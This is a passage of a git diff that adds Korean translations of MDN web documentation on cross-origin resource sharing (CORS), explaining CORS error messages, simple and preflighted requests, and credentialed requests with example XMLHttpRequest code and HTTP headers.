그 하위 디렉토리의 다른 리소스들은 더 이상 CORS 동일-오리진 규칙을 충족하지 않는다. 이는 <code>privacy.file_unique_origin</code> 구성을 사용하여 기본으로 활성화되는 새로운 동작이다.</p> + +<h2 id="함께_보기">함께 보기</h2> + +<ul> + <li><a href="/ko/docs/Web/HTTP/CORS/Errors">CORS 에러</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/ko/docs/Web/HTTP/CORS">CORS 소개</a></li> + <li><a href="/ko/docs/Learn/Common_questions/What_is_a_URL">URL이 무엇인가?</a></li> +</ul> diff --git a/files/ko/web/http/cors/errors/index.html b/files/ko/web/http/cors/errors/index.html new file mode 100644 index 0000000000..d1dd12dc75 --- /dev/null +++ b/files/ko/web/http/cors/errors/index.html @@ -0,0 +1,76 @@ +--- +title: CORS errors +slug: Web/HTTP/CORS/Errors +tags: + - CORS + - Errors + - HTTP + - HTTPS + - Messages + - NeedsTranslation + - Same-origin + - Security + - TopicStub + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p> + +<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p> + +<h2 id="Identifying_the_issue">Identifying the issue</h2> + +<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p> + +<ol> + <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li> + <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li> +</ol> + +<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p> + +<p>The text of the error message will be something similar to the following:</p> + +<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows +reading the remote resource at <em>https://some-url-here</em>. (<em>Reason: +additional information here</em>).</span></span></span></pre> + +<div class="note"> +<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p> +</div> + +<h2 id="CORS_error_messages">CORS error messages</h2> + +<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong. The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> + <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li> + <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li> +</ul> diff --git a/files/ko/web/http/cors/index.html b/files/ko/web/http/cors/index.html new file mode 100644 index 0000000000..ffaed542fb --- /dev/null +++ b/files/ko/web/http/cors/index.html @@ -0,0 +1,476 @@ +--- +title: 교차 출처 리소스 공유 (CORS) +slug: Web/HTTP/CORS +tags: + - CORS + - HTTP + - Same-origin policy + - Security + - 'l10n:priority' + - 교차 출처 + - 동일 출처 +translation_of: Web/HTTP/CORS +--- +<div>이에 대한 응답으로 서버는 Access-Control-Allow-Origin 헤더를 다시 보냅니다.{{HTTPSidebar}}</div> + +<p><strong>교차 출처 리소스 공유</strong>(Cross-Origin Resource Sharing, {{Glossary("CORS")}})는 추가 {{Glossary("HTTP")}} 헤더를 사용하여, 한 {{glossary("origin", "출처")}}에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록 브라우저에 알려주는 체제입니다. 웹 애플리케이션은 리소스가 자신의 출처(도메인, 프로토콜, 포트)와 다를 때 교차 출처 HTTP 요청을 실행합니다.</p> + +<p>교차 출처 요청의 예시: <code>https://domain-a.com</code>의 프론트 엔드 JavaScript 코드가 {{domxref("XMLHttpRequest")}}를 사용하여 <code>https://domain-b.com/data.json</code>을 요청하는 경우.</p> + +<p>보안 상의 이유로, 브라우저는 스크립트에서 시작한 교차 출처 HTTP 요청을 제한합니다. 예를 들어, <code>XMLHttpRequest</code>와 <a href="/ko/docs/Web/API/Fetch_API">Fetch API</a>는 <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a>을 따릅니다. 즉, 이 API를 사용하는 웹 애플리케이션은 자신의 출처와 동일한 리소스만 불러올 수 있으며, 다른 출처의 리소스를 불러오려면 그 출처에서 올바른 CORS 헤더를 포함한 응답을 반환해야 합니다.<img src="https://mdn.mozillademos.org/files/14295/CORS_principle.png"></p> + +<p>CORS 체제는 브라우저와 서버 간의 안전한 교차 출처 요청 및 데이터 전송을 지원합니다. 최신 브라우저는 <code>XMLHttpRequest</code> 또는 <a href="/ko/docs/Web/API/Fetch_API">Fetch</a>와 같은 API에서 CORS를 사용하여 교차 출처 HTTP 요청의 위험을 완화합니다.</p> + +<h2 id="이_글은_누가_읽어야_하나요">이 글은 누가 읽어야 하나요?</h2> + +<p>모든 사람이요, 진짜로.</p> + +<p>명확히 말하자면, 이 글은 <strong>웹 관리자</strong>, <strong>서버 개발자 </strong>그리고 <strong>프론트엔드 개발자</strong>를 위한 것입니다. 최신 브라우저는 헤더와 정책 집행을 포함한 클라이언트 측 교차 출처 공유를 처리합니다. 그러나 CORS 표준에 맞춘다는 것은 서버에서도 새로운 요청과 응답 헤더를 처리해야 한다는 것입니다. 서버 개발자에게는 <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">(PHP 코드 조각과 함께 하는) 서버 관점의 교차 출처 공유</a>를 다루고 있는 다른 글로 보충하면 도움이 될 것입니다.</p> + +<h2 id="어떤_요청이_CORS를_사용하나요">어떤 요청이 CORS를 사용하나요?</h2> + +<p><a href="https://fetch.spec.whatwg.org/#http-cors-protocol">교차 출처 공유 표준</a>은 다음과 같은 경우에 사이트간 HTTP 요청을 허용합니다.</p> + +<ul> + <li>위에서 논의한 바와 같이, {{domxref("XMLHttpRequest")}}와 <a href="/ko/docs/Web/API/Fetch_API">Fetch API</a> 호출.</li> + <li>웹 폰트(CSS 내 <code>@font-face</code>에서 교차 도메인 폰트 사용 시), <a href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">so that servers can deploy TrueType fonts that can only be cross-site loaded and used by web sites that are permitted to do so.</a></li> + <li><a href="/ko/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL 텍스쳐</a>.</li> + <li>{{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}}를 사용해 캔버스에 그린 이미지/비디오 프레임.</li> + <li><a href="/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Images">이미지로부터 추출하는 CSS Shapes.</a></li> +</ul> + +<p>이 글은 교차 출처 리소스 공유에 대한 일반적인 논의이며 필요한 HTTP 헤더에 대한 내용도 포함하고 있습니다.</p> + +<h2 id="기능적_개요">기능적 개요</h2> + +<p>교차 출처 리소스 공유 표준은 웹 브라우저에서 해당 정보를 읽는 것이 허용된 출처를 서버에서 설명할 수 있는 새로운 <a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a>를 추가함으로써 동작합니다. 추가적으로, 서버 데이터에 부수 효과(side effect)를 일으킬 수 있는 HTTP 요청 메서드({{HTTPMethod("GET")}}을 제외한 HTTP 메서드)에 대해, CORS 명세는 브라우저가 요청을 {{HTTPMethod("OPTIONS")}} 메서드로 "프리플라이트"(preflight, 사전 전달)하여 지원하는 메서드를 요청하고, 서버의 "허가"가 떨어지면 실제 요청을 보내도록 요구하고 있습니다. 또한 서버는 클라이언트에게 요청에 "인증정보"(<a href="/ko/docs/Web/HTTP/Cookies">쿠키</a>, <a href="/ko/docs/Web/HTTP/Authentication">HTTP 인증</a>)를 함께 보내야 한다고 알려줄 수도 있습니다.</p> + +<p>CORS 실패는 오류의 원인이지만, 보안상의 이유로 JavaScript에서는 오류의 상세 정보에 접근할 수 없으며, 알 수 있는 것은 오류가 발생했다는 사실 뿐입니다. 정확히 어떤 것이 실패했는지 알아내려면 브라우저의 콘솔을 봐야 합니다.</p> + +<p>이후 항목에서는 시나리오와 함께, 사용한 HTTP 헤더의 상세 내용을 다룹니다.</p> + +<h2 id="접근_제어_시나리오_예제">접근 제어 시나리오 예제</h2> + +<p>교차 출처 리소스 공유가 동작하는 방식을 보여주는 세 가지 시나리오를 제시하겠습니다. 모든 예제는 지원하는 브라우저에서 교차 출처 요청을 생성할 수 있는 {{domxref("XMLHttpRequest")}}를 사용합니다.</p> + +<p>서버 관점의 교차 출처 리소스 공유에 대한 논의는 (PHP 코드와 함께 하는) <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">서버 사이드 접근 제어 (CORS)</a> 문서에서 확인할 수 있습니다.</p> + +<h3 id="단순_요청Simple_requests">단순 요청(Simple requests)</h3> + +<p>일부요청은 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">CORS preflight</a> 를 트리거하지 않습니다. {{SpecName ( 'Fetch')}} 명세(CORS를 정의한)는 이 용어를 사용하지 않지만, 이 기사에서는 "simple requests"라고 하겠습니다. "simple requests"는 <strong>다음 조건을 모두 충족하는 요청입니다:</strong></p> + +<ul> + <li>다음 중 하나의 메서드 + <ul> + <li>{{HTTPMethod("GET")}}</li> + <li>{{HTTPMethod("HEAD")}}</li> + <li>{{HTTPMethod("POST")}}</li> + </ul> + </li> + <li>유저 에이전트가 자동으로 설정 한 헤더 (예를들어, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">Fetch 명세에서 “forbidden header name”으로 정의한 헤더</a>)외에, 수동으로 설정할 수 있는 헤더는 오직 <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">Fetch 명세에서 “CORS-safelisted request-header”로 정의한 헤더</a> 뿐입니다. + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}} (아래의 추가 요구 사항에 유의하세요.)</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li>{{HTTPHeader("Downlink")}}</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li>{{HTTPHeader("Content-Type")}} 헤더는 다음의 값들만 허용됩니다. + <ul> + <li><code>application/x-www-form-urlencoded</code></li> + <li><code>multipart/form-data</code></li> + <li><code>text/plain</code></li> + </ul> + </li> + <li>요청에 사용된 {{domxref("XMLHttpRequestUpload")}} 객체에는 이벤트 리스너가 등록되어 있지 않습니다. 이들은 {{domxref("XMLHttpRequest.upload")}} 프로퍼티를 사용하여 접근합니다..</li> + <li>요청에 {{domxref("ReadableStream")}} 객체가 사용되지 않습니다.</li> +</ul> + +<div class="note"><strong>참고:</strong> 이는 웹 컨텐츠가 이미 발행할 수 있는 것과 동일한 종류의 cross-site 요청입니다. 서버가 적절한 헤더를 전송하지 않으면 요청자에게 응답 데이터가 공개되지 않습니다. 따라서 cross-site 요청 위조를 방지하는 사이트는 HTTP 접근 제어를 두려워 할 만한 부분이 없습니다.</div> + +<div class="note"> +<p><strong>주의:</strong> WebKit Nightly 와 Safari Technology Preview 는 {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}} 헤더에서 허용되는 값에 대한 추가 제약이 있습니다. 이러한 헤더 중 하나에 ”nonstandard” 값이 존재하면, WebKit/Safari 는 더이상 요청을 “simple request”로 간주하지 않습니다. 다음 Webkit 버그 외에 WebKit/Safari 가 “nonstandard” 으로 간주하는 값은 문서화되어 있지 않습니다.</p> + +<ul> + <li><a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a></li> + <li><a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a></li> + <li><a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a></li> +</ul> + +<p>이 부분은 명세가 아니기 때문에 다른 브라우저에는 이러한 추가 제한 사항이 없습니다.</p> +</div> + +<p>예를들어, <code>https://foo.example</code> 의 웹 컨텐츠가 <code>https://bar.other</code> 도메인의 컨텐츠를 호출하길 원합니다. <code>foo.example</code>에 배포된 자바스크립트에는 아래와 같은 코드가 사용될 수 있습니다.</p> + +<pre id="line1"><code>const xhr = new XMLHttpRequest(); +const url = 'https://bar.other/resources/public-data/'; + +xhr.open('GET', url); +xhr.onreadystatechange = someHandler; +xhr.send();</code></pre> + +<p>클라이언트와 서버간에 간단한 통신을 하고, CORS 헤더를 사용하여 권한을 처리합니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/17214/simple-req-updated.png" style="height: 490px; width: 1023px;"></p> + +<p>이 경우 브라우저가 서버로 전송하는 내용을 살펴보고, 서버의 응답을 확인합니다.</p> + +<pre><code>GET /resources/public-data/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Connection: keep-alive +<strong>Origin: https://foo.example</strong></code></pre> + +<p>요청 헤더의 {{HTTPHeader("Origin")}}을 보면, <code>https://foo.example</code>로부터 요청이 왔다는 것을 알 수 있습니다.</p> + +<pre><code>HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 00:23:53 GMT +Server: Apache/2 +<strong>Access-Control-Allow-Origin: *</strong> +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: application/xml + +[…XML Data…]</code></pre> + +<p>서버는 이에 대한 응답으로 {{HTTPHeader("Access-Control-Allow-Origin")}} 헤더를 다시 전송합니다. 가장 간단한 접근 제어 프로토콜은 {{HTTPHeader("Origin")}} 헤더와 {{HTTPHeader("Access-Control-Allow-Origin")}} 을 사용하는 것입니다. 이 경우 서버는 <code>Access-Control-Allow-Origin: *</code>, 으로 응답해야 하며, 이는 <strong>모든</strong> 도메인에서 접근할 수 있음을 의미합니다. <code>https://bar.other</code> 의 리소스 소유자가 <em>오직</em> <code>https://foo.example</code> 의 요청만 리소스에 대한 접근을 허용하려는 경우 다음을 전송합니다.</p> + +<pre><code>Access-Control-Allow-Origin: https://foo.example</code></pre> + +<p>이제 <code>https://foo.example</code> 이외의 도메인은 corss-site 방식으로 리소스에 접근할 수 없습니다. 리소스에 대한 접근을 허용하려면, <code>Access-Control-Allow-Origin</code> 헤더에는 요청의 <code>Origin</code> 헤더에서 전송된 값이 포함되어야 합니다.</p> + +<h3 id="프리플라이트_요청">프리플라이트 요청</h3> + +<p>"preflighted" request는 위에서 논의한 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Simple_requests">“simple requests”</a> 와는 달리, 먼저 {{HTTPMethod("OPTIONS")}} 메서드를 통해 다른 도메인의 리소스로 HTTP 요청을 보내 실제 요청이 전송하기에 안전한지 확인합니다. Cross-site 요청은 유저 데이터에 영향을 줄 수 있기 때문에 이와같이 미리 전송(preflighted)합니다.</p> + +<p>다음은 preflighted 할 요청의 예제입니다.</p> + +<pre id="line1"><code>const xhr = new XMLHttpRequest(); +xhr.open('POST', 'https://bar.other/resources/post-here/'); +xhr.setRequestHeader('Ping-Other', 'pingpong'); +xhr.setRequestHeader('Content-Type', 'application/xml'); +xhr.onreadystatechange = handler; +xhr.send('<person><name>Arun</name></person>');</code></pre> + +<p>위의 예제는 <code>POST</code> 요청과 함께 함께 보낼 XML body를 만듭니다. 또한 비표준 HTTP <code>Ping-Other</code> 요청 헤더가 설정됩니다. 이러한 헤더는 HTTP/1.1의 일부가 아니지만 일반적으로 웹 응용 프로그램에 유용합니다. Content-Type 이 <code>application/xml</code>이고, 사용자 정의 헤더가 설정되었기 때문에 이 요청은 preflighted 처리됩니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png"></p> + +<p>(참고: 아래 설명 된 것처럼 실제 <code>POST</code> 요청에는 <code>Access-Control-Request-*</code> 헤더가 포함되지 않습니다. <code>OPTIONS</code> 요청에만 필요합니다.)</p> + +<p>클라이언트와 서버간의 완전한 통신을 살펴보겠습니다. 첫 번째 통신은 <em>preflight request/response</em>입니다.</p> + +<pre><code>OPTIONS /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Connection: keep-alive +Origin: http://foo.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type + + +HTTP/1.1 204 No Content +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2 +Access-Control-Allow-Origin: https://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive</code></pre> + +<p>preflight request가 완료되면 실제 요청을 전송합니다.</p> + +<pre><code>POST /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Connection: keep-alive +X-PINGOTHER: pingpong +Content-Type: text/xml; charset=UTF-8 +Referer: https://foo.example/examples/preflightInvocation.html +Content-Length: 55 +Origin: https://foo.example +Pragma: no-cache +Cache-Control: no-cache + +<person><name>Arun</name></person> + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:40 GMT +Server: Apache/2 +Access-Control-Allow-Origin: https://foo.example +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 235 +Keep-Alive: timeout=2, max=99 +Connection: Keep-Alive +Content-Type: text/plain + +[Some GZIP'd payload]</code></pre> + +<p>첫 번째 예제의 1 - 10 행은 {{HTTPMethod("OPTIONS")}} 메서드를 사용한 preflight request를 나타냅니다. 브라우저는 위의 자바스크립트 코드 스니펫이 사용중인 요청 파라미터를 기반으로 전송해야 합니다. 그렇게 해야 서버가 실제 요청 파라미터로 요청을 보낼 수 있는지 여부에 응답할 수 있습니다. OPTIONS는 서버에서 추가 정보를 판별하는데 사용하는 HTTP/1.1 메서드입니다. 또한 {{Glossary("safe")}} 메서드이기 때문에, 리소스를 변경하는데 사용할 수 없습니다. OPTIONS 요청과 함께 두 개의 다른 요청 헤더가 전송됩니다. (10, 11행)</p> + +<pre><code>Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type</code></pre> + +<p>{{HTTPHeader("Access-Control-Request-Method")}} 헤더는 preflight request의 일부로, 실제 요청을 전송할 때 <code>POST</code> 메서드로 전송된다는 것을 알려줍니다. {{HTTPHeader("Access-Control-Request-Headers")}} 헤더는 실제 요청을 전송 할 때 <code>X-PINGOTHER</code> 와 <code>Content-Type</code> 사용자 정의 헤더와 함께 전송된다는 것을 서버에 알려줍니다. 이제 서버는 이러한 상황에서 요청을 수락할지 결정할 수 있습니다.</p> + +<p>위의 13 - 22 행은 서버가 요청 메서드와 (<code>POST</code>) 요청 헤더를 (<code>X-PINGOTHER</code>) 받을 수 있음을 나타내는 응답입니다. 특히 16 - 19행을 살펴보겠습니다.</p> + +<pre><code>Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400</code></pre> + +<p>서버는 <code>Access-Control-Allow-Methods</code> 로 응답하고 <code>POST</code> 와 <code>GET</code> 이 리소스를 쿼리하는데 유용한 메서드라고 가르쳐줍니다. 이 헤더는 {{HTTPHeader("Allow")}} 응답 헤더와 유사하지만, 접근 제어 컨텍스트 내에서 엄격하게 사용됩니다.</p> + +<p>또한 <code>Access-Control-Allow-Headers</code> 의 값을 "<code>X-PINGOTHER, Content-Type</code>" 으로 전송하여 실제 요청에 헤더를 사용할 수 있음을 확인합니다. <code>Access-Control-Allow-Methods</code>와 마찬가지로 <code>Access-Control-Allow-Headers</code> 는 쉼표로 구분된 허용 가능한 헤더 목록입니다.</p> + +<p>마지막으로{{HTTPHeader("Access-Control-Max-Age")}}는 다른 preflight request를 보내지 않고, preflight request에 대한 응답을 캐시할 수 있는 시간(초)을 제공합니다. 위의 코드는 86400 초(24시간) 입니다. 각 브라우저의 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age">최대 캐싱 시간 </a>은 <code>Access-Control-Max-Age</code> 가 클수록 우선순위가 높습니다.</p> + +<h4 id="Preflighted_requests_와_리다이렉트">Preflighted requests 와 리다이렉트</h4> + +<p>모든 브라우저가 preflighted request 후 리다이렉트를 지원하지는 않습니다. preflighted request 후 리다이렉트가 발생하면 일부 브라우저는 다음과 같은 오류 메시지를 띄웁니다.</p> + +<blockquote> +<p>요청이 'https://example.com/foo'로 리다이렉트 되었으며, preflight가 필요한 cross-origin 요청은 허용되지 않습니다.</p> +</blockquote> + +<blockquote> +<p>요청에 preflight가 필요합니다. preflight는 cross-origin 리다이렉트를 허용하지 않습니다.</p> +</blockquote> + +<p>CORS 프로토콜은 본래 그 동작(리다이렉트)이 필요했지만, <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">이후 더 이상 필요하지 않도록 변경되었습니다</a>. 그러나 모든 브라우저가 변경 사항을 구현하지는 않았기 때문에, 본래의 필요한 동작은 여전히 나타납니다.</p> + +<p>브라우저가 명세를 따라잡을 때 까지 다음 중 하나 혹은 둘 다를 수행하여 이 제한을 해결할 수 있습니다.</p> + +<ul> + <li>preflight 리다이렉트를 방지하기 위해 서버측 동작을 변경</li> + <li>preflight를 발생시키지 않는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Simple_requests">simple request</a> 가 되도록 요청을 변경</li> +</ul> + +<p>이것이 가능하지 않은 경우 다른 방법도 있습니다.</p> + +<ol> + <li>Fetch API를 통해 {{domxref("Response.url")}} 이나 {{domxref("XMLHttpRequest.responseURL")}}를 사용하여 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Simple_requests">simple request</a> 를 작성합니다. 이 simple request를 이용하여 실제 preflighted request가 끝나는 URL을 판별하세요.</li> + <li>첫 번째 단계에서 <code>Response.url</code> 혹은 <code>XMLHttpRequest.responseURL</code> 로부터 얻은 URL을 사용하여 또 다른 요청(실제 요청)을 만듭니다.</li> +</ol> + +<p>그러나 요청에 <code>Authorization</code> 헤더가 있기 때문에 preflight를 트리거하는 요청일 경우에, 위의 단계를 사용하여 제한을 제거할 수 없습니다. 또한 요청이 있는 서버를 제어하지 않으면 문제를 해결할 수 없습니다.</p> + +<h3 id="인증정보를_포함한_요청">인증정보를 포함한 요청</h3> + +<p>{{domxref("XMLHttpRequest")}} 혹은 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> 를 사용할 때 CORS 에 의해 드러나는 가장 흥미로운 기능은 "credentialed" requests 입니다. credentialed requests는 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> 와 HTTP Authentication 정보를 인식합니다. 기본적으로 cross-site <code>XMLHttpRequest</code> 나 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> 호출에서 브라우저는 자격 증명을 보내지 <strong>않습니다.</strong> <code>XMLHttpRequest</code> 객체나 {{domxref("Request")}} 생성자가 호출될 때 특정 플래그를 설정해야 합니다.</p> + +<p>이 예제에서 원래 <code>http://foo.example</code> 에서 불러온 컨텐츠는 쿠키를 설정하는 <code>http://bar.other</code> 리소스에 simple GET request를 작성합니다. foo.example의 내용은 다음과 같은 자바스크립트를 포함할 수 있습니다.</p> + +<pre id="line1"><code>const invocation = new XMLHttpRequest(); +const url = 'http://bar.other/resources/credentialed-content/'; + +function callOtherDomain() { + if (invocation) { + invocation.open('GET', url, true); + invocation.withCredentials = true; + invocation.onreadystatechange = handler; + invocation.send(); + } +}</code></pre> + +<p>7행은 쿠키와 함께 호출하기위한 {{domxref("XMLHttpRequest")}} 의 플래그를 보여줍니다. 이 플래그는 <code>withCredentials</code> 라고 불리며 부울 값을 갖습니다. 기본적으로 호출은 쿠키 없이 이루어집니다. 이것은 simple <code>GET</code> request이기 때문에 preflighted 되지 않습니다. 그러나 브라우저는 {{HTTPHeader("Access-Control-Allow-Credentials")}}: <code>true</code> 헤더가 없는 응답을 <strong>거부합니다</strong>.<strong> </strong>따라서 호출된 웹 컨텐츠에 응답을 제공하지 <strong>않습니다</strong>.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/17213/cred-req-updated.png" style="height: 490px; width: 1023px;"></p> + +<p>클라이언트와 서버간의 통신 예제는 다음과 같습니다.</p> + +<pre><code>GET /resources/credentialed-content/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Connection: keep-alive +Referer: http://foo.example/examples/credential.html +Origin: http://foo.example +Cookie: pageAccess=2 + + 